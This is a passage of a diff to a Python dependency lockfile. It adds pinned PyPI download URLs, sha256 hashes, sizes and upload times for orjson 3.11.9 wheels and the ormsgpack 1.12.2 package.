"https://files.pythonhosted.org/packages/df/e5/4d2d8af06f788329b4f78f8cc3679bb395392fcaa1e4d8d3c33e85308fa4/orjson-3.11.9-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:71e63adb0e1f1ed5d9e168f50a91ceb93ae6420731d222dc7da5c69409aa47aa", size = 136943, upload-time = "2026-05-06T15:10:14.405Z" }, + { url = "https://files.pythonhosted.org/packages/06/69/850264ccf6d80f6b174620d30a87f65c9b1490aba33fe6b62798e618cad3/orjson-3.11.9-cp312-cp312-win32.whl", hash = "sha256:2d057a602cdd19a0ad680417527c45b6961a095081c0f46fe0e03e304aac6470", size = 131606, upload-time = "2026-05-06T15:10:15.791Z" }, + { url = "https://files.pythonhosted.org/packages/b9/d5/973a43fc9c55e20f2051e9830997649f669be0cb3ca52192087c0143f118/orjson-3.11.9-cp312-cp312-win_amd64.whl", hash = "sha256:59e403b1cc5a676da8eaf31f6254801b7341b3e29efa85f92b48d272637e77be", size = 127101, upload-time = "2026-05-06T15:10:17.129Z" }, + { url = "https://files.pythonhosted.org/packages/fe/ae/495470f0e4a18f73fa10b7f6b84b464ec4cc5291c4e0c7c2a6c400bef006/orjson-3.11.9-cp312-cp312-win_arm64.whl", hash = "sha256:9af678d6488357948f1f84c6cd1c1d397c014e1ae2f98ae082a44eb48f602624", size = 126736, upload-time = "2026-05-06T15:10:18.645Z" }, + { url = "https://files.pythonhosted.org/packages/32/33/93fcc25907235c344ae73122f8a4e01d2d393ef062b4af7d2e2487a32c37/orjson-3.11.9-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:4bab1b2d6141fe7b32ae71dac905666ece4f94936efbfb13d55bb7739a3a6021", size = 228458, upload-time = "2026-05-06T15:10:20.079Z" }, + { url = "https://files.pythonhosted.org/packages/8f/27/b1e6dadb3c080313c03fdd8067b85e6a0460c7d8d6a1c3984ef77b904e4d/orjson-3.11.9-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:844417969855fc7a41be124aafe83dc424592a7f77cd4501900c67307122b92c", size = 128368, upload-time = "2026-05-06T15:10:21.549Z" }, + { url = "https://files.pythonhosted.org/packages/21/0f/c9ede0bf052f6b4051e64a7d4fa91b725cccf8321a6a786e86eb03519f00/orjson-3.11.9-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ffe02797b5e9f3a9d8292ddcd289b474ad13e81ad83cd1891a240811f1d2cb81", size = 132070, upload-time = "2026-05-06T15:10:23.371Z" }, + { url = "https://files.pythonhosted.org/packages/fd/26/d398e28048dc18205bbe812f2c88cb9b40313db2470778e25964796458fe/orjson-3.11.9-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0e4eed3b200023042814d2fc8a5d2e880f13b52e1ed2485e83da4f3962f7dc1a", size = 127892, upload-time = "2026-05-06T15:10:24.714Z" }, + { url = "https://files.pythonhosted.org/packages/66/60/52b0054c4c700d5aa7fc5b7ca96917400d8f061307778578e67a10e25852/orjson-3.11.9-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8aff7da9952a5ad1cef8e68017724d96c7b9a66e99e91d6252e1b133d67a7b10", size = 135217, upload-time = "2026-05-06T15:10:26.084Z" }, + { url = "https://files.pythonhosted.org/packages/d5/97/1e3dc2b2a28b7b2528f403d2fc1d79ec5f39af3bc143ab65d3ec26426385/orjson-3.11.9-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4d4e98d6f3b8afed8bc8cd9718ec0cdf46661826beefb53fe8eafb37f2bf0362", size = 145980, upload-time = "2026-05-06T15:10:28.062Z" }, + { url = "https://files.pythonhosted.org/packages/fc/39/31fbfe7850f2de32dee7e7e5c09f26d403ab01e440ac96001c6b01ad3c99/orjson-3.11.9-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3a81d52442a7c99b3662333235b3adf96a1715864658b35bb797212be7bddb97", size = 132738, upload-time = "2026-05-06T15:10:29.727Z" }, + { url = "https://files.pythonhosted.org/packages/a1/08/dca0082dd2a194acb93e5457e73455388e2e2ca464a2672449a9ddbb679d/orjson-3.11.9-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4e39364e726a8fff737309aff059ff67d8a8c8d5b677be7bb49a8b3e84b7e218", size = 134033, upload-time = "2026-05-06T15:10:31.152Z" }, + { url = "https://files.pythonhosted.org/packages/11/d4/5bdb0626801230139987385554c5d4c42255218ac906525bf4347f22cd95/orjson-3.11.9-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:4fd66214623f1b17501df9f0543bef0b833979ab5b6ded1e1d123222866aa8c9", size = 141492, upload-time = "2026-05-06T15:10:32.641Z" }, + { url = "https://files.pythonhosted.org/packages/fa/88/a21fb53b3ede6703aede6dce4710ed4111e5b201cfa6bbff5e544f9d47d7/orjson-3.11.9-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:8ecc30f10465fa1e0ce13fd01d9e22c316e5053a719a8d915d4545a09a5ff677", size = 415087, upload-time = "2026-05-06T15:10:34.438Z" }, + { url = "https://files.pythonhosted.org/packages/3d/57/1b30daf70f0d8180e9a73cefbfbdd99e4bf19eb020466502b01fba7e0e50/orjson-3.11.9-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:97db4c94a7db398a5bd636273324f0b3fd58b350bbbac8bb380ceb825a9b40f4", size = 148031, upload-time = "2026-05-06T15:10:36.358Z" }, + { url = "https://files.pythonhosted.org/packages/04/83/45fbb6d962e260807f99441db9613cee868ceda4baceda59b3720a563f97/orjson-3.11.9-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9f78cf8fec5bd627f4082b8dfeac7871b43d7f3274904492a43dab39f18a19a0", size = 136915, upload-time = "2026-05-06T15:10:38.013Z" }, + { url = "https://files.pythonhosted.org/packages/5f/cc/2d10025f9056d376e4127ec05a5808b218d46f035fdc08178a5411b34250/orjson-3.11.9-cp313-cp313-win32.whl", hash = "sha256:d4087e5c0209a0a8efe4de3303c234b9c44d1174161dcd851e8eea07c7560b32", size = 131613, upload-time = "2026-05-06T15:10:39.569Z" }, + { url = "https://files.pythonhosted.org/packages/67/bd/2775ff28bfe883b9aa1ff348300542eb2ef1ee18d8ae0e3a49846817a865/orjson-3.11.9-cp313-cp313-win_amd64.whl", hash = "sha256:051b102c93b4f634e89f3866b07b9a9a98915ada541f4ec30f177067b2694979", size = 127086, upload-time = "2026-05-06T15:10:41.262Z" }, + { url = "https://files.pythonhosted.org/packages/91/2b/d26799e580939e32a7da9a39531bc9e58e15ca32ffaa6a8cb3e9bb0d22cd/orjson-3.11.9-cp313-cp313-win_arm64.whl", hash = "sha256:cce9127885941bd28f080cecf1f1d288336b7e0d812c345b08be88b572796254", size = 126696, upload-time = "2026-05-06T15:10:42.651Z" }, + { url = "https://files.pythonhosted.org/packages/8e/eb/5da01e356015aee6ecfa1187ced87aef51364e306f5e695dd52719bf0e78/orjson-3.11.9-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:b6ef1979adc4bc243523f1a2ba91418030a8e29b0a99cbe7e0e2d6807d4dce6e", size = 228465, upload-time = "2026-05-06T15:10:44.097Z" }, + { url = "https://files.pythonhosted.org/packages/64/62/3e0e0c14c957133bcd855395c62b55ed4e3b0af23ffea11b032cb1dcbdb1/orjson-3.11.9-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:f36b7f32c7c0db4a719f1fc5824db4a9c6f8bd1a354debb91faf26ebf3a4c71e", size = 128364, upload-time = "2026-05-06T15:10:45.839Z" }, + { url = "https://files.pythonhosted.org/packages/5a/5a/07d8aa117211a8ed7630bda80c8c0b14d04e0f8dcf99bcf49656e4a710eb/orjson-3.11.9-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:08f4d8ebb44925c794e535b2bebc507cebf32209df81de22ae285fb0d8d66de0", size = 132063, upload-time = "2026-05-06T15:10:47.267Z" }, + { url = "https://files.pythonhosted.org/packages/d6/ec/4acaf21483e18aa945be74a474c74b434f284b549f275a0a39b9f98956e9/orjson-3.11.9-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6cc7923789694fd58f001cbcac7e47abc13af4d560ebbfcf3b41a8b1a0748124", size = 122356, upload-time = "2026-05-06T15:10:48.765Z" }, + { url = "https://files.pythonhosted.org/packages/13/d8/5f0555e7638801323b7a75850f92e7dfa891bc84fe27a1ba4449170d1200/orjson-3.11.9-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ea5c46eb2d3af39e806b986f4b09d5c2706a1f5afde3cbf7544ce6616127173c", size = 129592, upload-time = "2026-05-06T15:10:50.13Z" }, + { url = "https://files.pythonhosted.org/packages/b6/30/ed9860412a3603ceb3c5955bfd72d28b9d0e7ba6ed81add14f83d7114236/orjson-3.11.9-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f5d89a2ed90731df3be64bab0aa44f78bff39fdc9d71c291f4a8023aa46425b7", size = 140491, upload-time = "2026-05-06T15:10:51.582Z" }, + { url = "https://files.pythonhosted.org/packages/d0/17/adc514dea7ac7c505527febf884934b815d34f0c7b8693c1a8b39c5c4a57/orjson-3.11.9-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:25e4aed0312d292c09f61af25bba34e0b2c88546041472b09088c39a4d828af1", size = 127309, upload-time = "2026-05-06T15:10:53.329Z" }, + { url = "https://files.pythonhosted.org/packages/76/3e/c0b690253f0b82d86e99949af13533363acfb5432ecb5d53dd5b3bce9c34/orjson-3.11.9-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aaea64f3f467d22e70eeed68bdccb3bc4f83f650446c4a03c59f2cba28a108db", size = 134030, upload-time = "2026-05-06T15:10:54.988Z" }, + { url = "https://files.pythonhosted.org/packages/c1/7a/bc82a0bb25e9faaf92dc4d9ef002732efc09737706af83e346788641d4a7/orjson-3.11.9-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a028425d1b440c5d92a6be1e1a020739dfe67ea87d96c6dbe828c1b30041728b", size = 141482, upload-time = "2026-05-06T15:10:56.663Z" }, + { url = "https://files.pythonhosted.org/packages/01/55/e69188b939f77d5d32a9833745ace31ea5ccae3ab613a1ec185d3cd2c4fb/orjson-3.11.9-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:5b192c6cf397e4455b11523c5cf2b18ed084c1bbd61b6c0926344d2129481972", size = 415178, upload-time = "2026-05-06T15:10:58.446Z" }, + { url = "https://files.pythonhosted.org/packages/2e/1a/b8a5a7ac527e80b9cb11d51e3f6689b709279183264b9ec5c7bc680bb8b5/orjson-3.11.9-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ea407d4ccf5891d667d045fecae97a7a1e5e87b3b97f97ae1803c2e741130be0", size = 148089, upload-time = "2026-05-06T15:11:00.441Z" }, + { url = "https://files.pythonhosted.org/packages/97/4e/00503f64204bf859b37213a63927028f30fb6268cd8677fb0a5ad48155e1/orjson-3.11.9-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5f63aaf97afd9f6dec5b1a68e1b8da12bfccb4cb9a9a65c3e0b6c847849e7586", size = 136921, upload-time = "2026-05-06T15:11:02.176Z" }, + { url = "https://files.pythonhosted.org/packages/0d/ba/a23b82a0a8d0ed7bed4e5f5035aae751cad4ff6a1e8d2ecd14d8860f5929/orjson-3.11.9-cp314-cp314-win32.whl", hash = "sha256:e30ab17845bb9fa54ccf67fa4f9f5282652d54faa6d17452f47d0f369d038673", size = 131638, upload-time = "2026-05-06T15:11:03.696Z" }, + { url = "https://files.pythonhosted.org/packages/f3/c3/0c6798456bade745c75c452342dabacce5798196483e77e643be1f53877d/orjson-3.11.9-cp314-cp314-win_amd64.whl", hash = "sha256:32ef5f4283a3be81913947d19608eacb7c6608026851123790cd9cc8982af34b", size = 127078, upload-time = "2026-05-06T15:11:05.123Z" }, + { url = "https://files.pythonhosted.org/packages/16/21/5a3f1e8913103b703a436a5664238e5b965ec392b555fe68943ea3691e6b/orjson-3.11.9-cp314-cp314-win_arm64.whl", hash = "sha256:eebdbdeef0094e4f5aefa20dcd4eb2368ab5e7a3b4edea27f1e7b2892e009cf9", size = 126687, upload-time = "2026-05-06T15:11:06.602Z" }, +] + +[[package]] +name = "ormsgpack" +version = "1.12.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/12/0c/f1761e21486942ab9bb6feaebc610fa074f7c5e496e6962dea5873348077/ormsgpack-1.12.2.tar.gz", hash = "sha256:944a2233640273bee67521795a73cf1e959538e0dfb7ac635505010455e53b33", size = 39031, upload-time = "2026-01-18T20:55:28.023Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/93/fa/a91f70829ebccf6387c4946e0a1a109f6ba0d6a28d65f628bedfad94b890/ormsgpack-1.12.2-cp310-cp310-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:c1429217f8f4d7fcb053523bbbac6bed5e981af0b85ba616e6df7cce53c19657", size = 378262, upload-time = "2026-01-18T20:55:22.284Z" }, + { url = "https://files.pythonhosted.org/packages/5f/62/3698a9a0c487252b5c6a91926e5654e79e665708ea61f67a8bdeceb022bf/ormsgpack-1.12.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5f13034dc6c84a6280c6c33db7ac420253852ea233fc3ee27c8875f8dd651163", size = 203034, upload-time = "2026-01-18T20:55:53.324Z" }, + { url = "https://files.pythonhosted.org/packages/66/3a/f716f64edc4aec2744e817660b317e2f9bb8de372338a95a96198efa1ac1/ormsgpack-1.12.2-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:59f5da97000c12bc2d50e988bdc8576b21f6ab4e608489879d35b2c07a8ab51a", size = 210538, upload-time = "2026-01-18T20:55:20.097Z" }, + { url = "https://files.pythonhosted.org/packages/72/30/a436be9ce27d693d4e19fa94900028067133779f09fc45776db3f689c822/ormsgpack-1.12.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e4459c3f27066beadb2b81ea48a076a417aafffff7df1d3c11c519190ed44f2", size = 212401, upload-time = "2026-01-18T20:55:46.447Z" }, + { url = "https://files.pythonhosted.org/packages/10/c5/cde98300fd33fee84ca71de4751b19aeeca675f0cf3c0ec4b043f40f3b76/ormsgpack-1.12.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:7a1c460655d7288407ffa09065e322a7231997c0d62ce914bf3a96ad2dc6dedd", size = 387080, upload-time = "2026-01-18T20:56:00.884Z" }, + { url = "https://files.pythonhosted.org/packages/6a/31/30bf445ef827546747c10889dd254b3d84f92b591300efe4979d792f4c41/ormsgpack-1.12.2-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:458e4568be13d311ef7d8877275e7ccbe06c0e01b39baaac874caaa0f46d826c", size = 482346, upload-time = "2026-01-18T20:55:39.831Z" }, + { url = "https://files.pythonhosted.org/packages/2e/f5/e1745ddf4fa246c921b5ca253636c4c700ff768d78032f79171289159f6e/ormsgpack-1.12.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8cde5eaa6c6cbc8622db71e4a23de56828e3d876aeb6460ffbcb5b8aff91093b", size = 425178, upload-time = "2026-01-18T20:55:27.106Z" }, + { url = "https://files.pythonhosted.org/packages/8d/a2/e6532ed7716aed03dede8df2d0d0d4150710c2122647d94b474147ccd891/ormsgpack-1.12.2-cp310-cp310-win_amd64.whl", hash = "sha256:dc7a33be14c347893edbb1ceda89afbf14c467d593a5ee92c11de4f1666b4d4f", size = 117183, upload-time = "2026-01-18T20:55:55.52Z" }, + { url = "https://files.pythonhosted.org/packages/4b/08/8b68f24b18e69d92238aa8f258218e6dfeacf4381d9d07ab8df303f524a9/ormsgpack-1.12.2-cp311-cp311-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:bd5f4bf04c37888e864f08e740c5a573c4017f6fd6e99fa944c5c935fabf2dd9", size = 378266, upload-time = "2026-01-18T20:55:59.876Z" }, + { url = "https://files.pythonhosted.org/packages/0d/24/29fc13044ecb7c153523ae0a1972269fcd613650d1fa1a9cec1044c6b666/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:34d5b28b3570e9fed9a5a76528fc7230c3c76333bc214798958e58e9b79cc18a", size = 203035, upload-time = "2026-01-18T20:55:30.59Z" }, + { url = "https://files.pythonhosted.org/packages/ad/c2/00169fb25dd8f9213f5e8a549dfb73e4d592009ebc85fbbcd3e1dcac575b/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3708693412c28f3538fb5a65da93787b6bbab3484f6bc6e935bfb77a62400ae5", size = 210539, upload-time = "2026-01-18T20:55:48.569Z" }, + { url = "https://files.pythonhosted.org/packages/1b/33/543627f323ff3c73091f51d6a20db28a1a33531af30873ea90c5ac95a9b5/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:43013a3f3e2e902e1d05e72c0f1aeb5bedbb8e09240b51e26792a3c89267e181", size = 212401, upload-time = "2026-01-18T20:56:10.101Z" }, + { url = "https://files.pythonhosted.org/packages/e8/5d/f70e2c3da414f46186659d24745483757bcc9adccb481a6eb93e2b729301/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7c8b1667a72cbba74f0ae7ecf3105a5e01304620ed14528b2cb4320679d2869b", size = 387082, upload-time = "2026-01-18T20:56:12.047Z" }, + { url = "https://files.pythonhosted.org/packages/c0/d6/06e8dc920c7903e051f30934d874d4afccc9bb1c09dcaf0bc03a7de4b343/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:df6961442140193e517303d0b5d7bc2e20e69a879c2d774316125350c4a76b92", size = 482346, upload-time = "2026-01-18T20:56:05.152Z" }, + { url = "https://files.pythonhosted.org/packages/66/c4/f337ac0905eed9c393ef990c54565cd33644918e0a8031fe48c098c71dbf/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:c6a4c34ddef109647c769d69be65fa1de7a6022b02ad45546a69b3216573eb4a", size = 425181, upload-time = "2026-01-18T20:55:37.83Z" }, + { url = "https://files.pythonhosted.org/packages/78/29/6d5758fabef3babdf4bbbc453738cc7de9cd3334e4c38dd5737e27b85653/ormsgpack-1.12.2-cp311-cp311-win_amd64.whl", hash = "sha256:73670ed0375ecc303858e3613f407628dd1fca18fe6ac57b7b7ce66cc7bb006c", size = 117182, upload-time = "2026-01-18T20:55:31.472Z" }, + { url = "https://files.pythonhosted.org/packages/c4/57/17a15549233c37e7fd054c48fe9207492e06b026dbd872b826a0b5f833b6/ormsgpack-1.12.2-cp311-cp311-win_arm64.whl", hash = "sha256:c2be829954434e33601ae5da328cccce3266b098927ca7a30246a0baec2ce7bd", size = 111464, upload-time = "2026-01-18T20:55:38.811Z" }, + { url = "https://files.pythonhosted.org/packages/4c/36/16c4b1921c308a92cef3bf6663226ae283395aa0ff6e154f925c32e91ff5/ormsgpack-1.12.2-cp312-cp312-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:7a29d09b64b9694b588ff2f80e9826bdceb3a2b91523c5beae1fab27d5c940e7", size = 378618, upload-time = "2026-01-18T20:55:50.835Z" }, + { url = "https://files.pythonhosted.org/packages/c0/68/468de634079615abf66ed13bb5c34ff71da237213f29294363beeeca5306/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b39e629fd2e1c5b2f46f99778450b59454d1f901bc507963168985e79f09c5d", size = 203186, upload-time = "2026-01-18T20:56:11.163Z" }, + { url = "https://files.pythonhosted.org/packages/73/a9/d756e01961442688b7939bacd87ce13bfad7d26ce24f910f6028178b2cc8/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:958dcb270d30a7cb633a45ee62b9444433fa571a752d2ca484efdac07480876e", size = 210738, upload-time = "2026-01-18T20:56:09.181Z" }, + { url = "https://files.pythonhosted.org/packages/7b/ba/795b1036888542c9113269a3f5690ab53dd2258c6fb17676ac4bd44fcf94/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58d379d72b6c5e964851c77cfedfb386e474adee4fd39791c2c5d9efb53505cc", size = 212569, upload-time = "2026-01-18T20:56:06.135Z" }, + { url = "https://files.pythonhosted.org/packages/6c/aa/bff73c57497b9e0cba8837c7e4bcab584b1a6dbc91a5dd5526784a5030c8/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8463a3fc5f09832e67bdb0e2fda6d518dc4281b133166146a67f54c08496442e", size = 387166, upload-time = "2026-01-18T20:55:36.738Z" }, + { url = "https://files.pythonhosted.org/packages/d3/cf/f8283cba44bcb7b14f97b6274d449db276b3a86589bdb363169b51bc12de/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:eddffb77eff0bad4e67547d67a130604e7e2dfbb7b0cde0796045be4090f35c6", size = 482498, upload-time = "2026-01-18T20:55:29.626Z" }, + { url = "https://files.pythonhosted.org/packages/05/be/71e37b852d723dfcbe952ad04178c030df60d6b78eba26bfd14c9a40575e/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fcd55e5f6ba0dbce624942adf9f152062135f991a0126064889f68eb850de0dd", size = 425518, upload-time = "2026-01-18T20:55:49.556Z" }, + { url = "https://files.pythonhosted.org/packages/7a/0c/9803aa883d18c7ef197213cd2cbf73ba76472a11fe100fb7dab2884edf48/ormsgpack-1.12.2-cp312-cp312-win_amd64.whl", hash = "sha256:d024b40828f1dde5654faebd0d824f9cc29ad46891f626272dd5bfd7af2333a4", size = 117462, upload-time = "2026-01-18T20:55:47.726Z" }, + { url = "https://files.pythonhosted.org/packages/c8/9e/029e898298b2cc662f10d7a15652a53e3b525b1e7f07e21fef8536a09bb8/ormsgpack-1.12.2-cp312-cp312-win_arm64.whl", hash = "sha256:da538c542bac7d1c8f3f2a937863dba36f013108ce63e55745941dda4b75dbb6", size = 111559, upload-time = "2026-01-18T20:55:54.273Z" }, + { url = "https://files.pythonhosted.org/packages/eb/29/bb0eba3288c0449efbb013e9c6f58aea79cf5cb9ee1921f8865f04c1a9d7/ormsgpack-1.12.2-cp313-cp313-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:5ea60cb5f210b1cfbad8c002948d73447508e629ec375acb82910e3efa8ff355", size = 378661, upload-time = "2026-01-18T20:55:57.765Z" }, + { url = "https://files.pythonhosted.org/packages/6e/31/5efa31346affdac489acade2926989e019e8ca98129658a183e3add7af5e/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f3601f19afdbea273ed70b06495e5794606a8b690a568d6c996a90d7255e51c1", size = 203194, upload-time = "2026-01-18T20:56:08.252Z" }, + { url = "https://files.pythonhosted.org/packages/eb/56/d0087278beef833187e0167f8527235ebe6f6ffc2a143e9de12a98b1ce87/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:29a9f17a3dac6054c0dce7925e0f4995c727f7c41859adf9b5572180f640d172", size = 210778, upload-time = "2026-01-18T20:55:17.694Z" }, + { url = "https://files.pythonhosted.org/packages/1c/a2/072343e1413d9443e5a252a8eb591c2d5b1bffbe5e7bfc78c069361b92eb/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:39c1bd2092880e413902910388be8715f70b9f15f20779d44e673033a6146f2d", size = 212592, upload-time = "2026-01-18T20:55:32.747Z" }, + { url = "https://files.pythonhosted.org/packages/a2/8b/a0da3b98a91d41187a63b02dda14267eefc2a74fcb43cc2701066cf1510e/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:50b7249244382209877deedeee838aef1542f3d0fc28b8fe71ca9d7e1896a0d7", size = 387164, upload-time = "2026-01-18T20:55:40.853Z" }, + { url = "https://files.pythonhosted.org/packages/19/bb/6d226bc4cf9fc20d8eb1d976d027a3f7c3491e8f08289a2e76abe96a65f3/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:5af04800d844451cf102a59c74a841324868d3f1625c296a06cc655c542a6685", size = 482516, upload-time = "2026-01-18T20:55:42.033Z" }, + { url = "https://files.pythonhosted.org/packages/fb/f1/bb2c7223398543dedb3dbf8bb93aaa737b387de61c5feaad6f908841b782/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:cec70477d4371cd524534cd16472d8b9cc187e0e3043a8790545a9a9b296c258", size = 425539, upload-time = "2026-01-18T20:55:24.727Z" }, + { url = "https://files.pythonhosted.org/packages/7b/e8/0fb45f57a2ada1fed374f7494c8cd55e2f88ccd0ab0a669aa3468716bf5f/ormsgpack-1.12.2-cp313-cp313-win_amd64.whl", hash = "sha256:21f4276caca5c03a818041d637e4019bc84f9d6ca8baa5ea03e5cc8bf56140e9", size = 117459, upload-time = "2026-01-18T20:55:56.876Z" }, + { url = "https://files.pythonhosted.org/packages/7a/d4/0cfeea1e960d550a131001a7f38a5132c7ae3ebde4c82af1f364ccc5d904/ormsgpack-1.12.2-cp313-cp313-win_arm64.whl", hash = "sha256:baca4b6773d20a82e36d6fd25f341064244f9f86a13dead95dd7d7f996f51709", size = 111577, upload-time = "2026-01-18T20:55:43.605Z" }, + { url = "https://files.pythonhosted.org/packages/94/16/24d18851334be09c25e87f74307c84950f18c324a4d3c0b41dabdbf19c29/ormsgpack-1.12.2-cp314-cp314-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:bc68dd5915f4acf66ff2010ee47c8906dc1cf07399b16f4089f8c71733f6e36c", size = 378717, upload-time = "2026-01-18T20:55:26.164Z" }, + { url = "https://files.pythonhosted.org/packages/b5/a2/88b9b56f83adae8032ac6a6fa7f080c65b3baf9b6b64fd3d37bd202991d4/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:46d084427b4132553940070ad95107266656cb646ea9da4975f85cb1a6676553", size = 203183, upload-time = "2026-01-18T20:55:18.815Z" }, + { url = "https://files.pythonhosted.org/packages/a9/80/43e4555963bf602e5bdc79cbc8debd8b6d5456c00d2504df9775e74b450b/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c010da16235806cf1d7bc4c96bf286bfa91c686853395a299b3ddb49499a3e13", size = 210814, upload-time = "2026-01-18T20:55:33.973Z" }, + { url = "https://files.pythonhosted.org/packages/78/e1/7cfbf28de8bca6efe7e525b329c31277d1b64ce08dcba723971c241a9d60/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:18867233df592c997154ff942a6503df274b5ac1765215bceba7a231bea2745d", size = 212634, upload-time = "2026-01-18T20:55:28.634Z" }, + { url = "https://files.pythonhosted.org/packages/95/f8/30ae5716e88d792a4e879debee195653c26ddd3964c968594ddef0a3cc7e/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:b009049086ddc6b8f80c76b3955df1aa22a5fbd7673c525cd63bf91f23122ede", size = 387139, upload-time = "2026-01-18T20:56:02.013Z" }, + { url = "https://files.pythonhosted.org/packages/dc/81/aee5b18a3e3a0e52f718b37ab4b8af6fae0d9d6a65103036a90c2a8ffb5d/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:1dcc17d92b6390d4f18f937cf0b99054824a7815818012ddca925d6e01c2e49e", size = 482578, upload-time = "2026-01-18T20:55:35.117Z" }, + { url = "https://files.pythonhosted.org/packages/bd/17/71c9ba472d5d45f7546317f467a5fc941929cd68fb32796ca3d13dcbaec2/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f04b5e896d510b07c0ad733d7fce2d44b260c5e6c402d272128f8941984e4285", size = 425539, upload-time = "2026-01-18T20:56:04.009Z" }, + { url = "https://files.pythonhosted.org/packages/2e/a6/ac99cd7fe77e822fed5250ff4b86fa66dd4238937dd178d2299f10b69816/ormsgpack-1.12.2-cp314-cp314-win_amd64.whl", hash = "sha256:ae3aba7eed4ca7cb79fd3436eddd29140f17ea254b91604aa1eb19bfcedb990f", size = 117493, upload-time = "2026-01-18T20:56:07.343Z" }, + { url = "https://files.pythonhosted.org/packages/3a/67/339872846a1ae4592535385a1c1f93614138566d7af094200c9c3b45d1e5/ormsgpack-1.12.2-cp314-cp314-win_arm64.whl", hash = "sha256:118576ea6006893aea811b17429bfc561b4778fad393f5f538c84af70b01260c", size = 111579, upload-time = "2026-01-18T20:55:21.161Z" }, + { url = 